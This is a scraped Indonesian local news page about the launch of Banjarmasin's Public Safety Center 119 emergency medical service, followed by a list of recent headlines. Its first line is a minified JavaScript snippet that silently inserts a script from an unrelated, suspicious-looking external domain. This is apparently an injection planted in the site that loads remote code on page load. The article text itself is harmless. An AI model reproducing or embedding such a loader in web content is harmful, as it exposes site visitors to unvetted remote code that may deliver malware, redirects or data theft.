(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

Public Safety Center Banjarmasin Siap Tangani Kegawatdaruratan


BANJARMASIN, Pemko Banjarmasin melalui Dinas Kesehatan Kota Banjarmasin membuat sebuah inovasi baru untuk layanan penanganan cepat kegawatdaruratan berupa Public Safety Center (PSC).

Sebuah layanan emergency medic dengan menggunakan kode akses 119  atau nomor telepon 0811 5033 119 dan frequensi 14,119, kini dapat digunakan masyarakat Kota Banjarmasin yang membutuhkan layanan kegawatdaruratan.

“PSC merupkan amanah dari instruksi Presiden nomor 4 tahun 2013, dimana seluruh kabupaten/kota di Indonesia harus memiliki PSC sebagai pusat koordinasi layanan kegawatdaruratan di suatu daerah,” ujar Kadinkes Kota Banjarmasin dr Anies, saat kegiatan launching PSC 119 Kota Banjarmasin, di halaman Balaikota Banjarmasin, Selasa (17/7).

Lebih lanjut dikatakannya, PSC merupakan sistem berjejaring dengan fasilitas pelayanan kesehatan terdekat dengan lokasi kejadian, dan PSC dapat dilaksanakan secara bersama-sama dengan unit teknis lainnya di luar bidang kesehatan, seperti kepolisian dan pemadam kebakaran. “PSC 119 Banjarmasin adalah yang ketiga dibentuk di Kalsel, setelah Kabupaten Batola dan Kabupaten Tanah Laut. Insya Allah kami dari sektor kesehatan tetap berkomitmen menjalankan apa yang sudah menjadi amanah,” katanya.

Walikota Banjarmasin H Ibnu Sina berharap, kehadiran PSC bisa bekerjasama dengan lintas SKPD baik di lingkungan Pemko Banjarmasin, rumah sakit dan sektor terkait lainnya.

“Sehingga PSC dapat menjadi unit penanganan kegawatdaruratan terdepan di Kota Banjarmasin,” harapnya.

Walikota Banjarmasin H Ibnu Sina berharap, dengan adanya PSC, maka setiap jiwa yang ada di Kota Bajarmasin bisa mendapatkan pelayanan pertolongan.

Selain itu, ia juga berharap, jalur komunikasi bisa terhubung dengan Command Center yang dimiliki Pemko Banjarmasin. “Saya harap PSC bisa bersenirgi dengan semua pihak dan bisa maksimal dalam memberikan pelayanan kepada masyarakat,” pungkasnya. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

3 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

4 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

5 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

5 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

17 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

18 jam ago

This website uses cookies.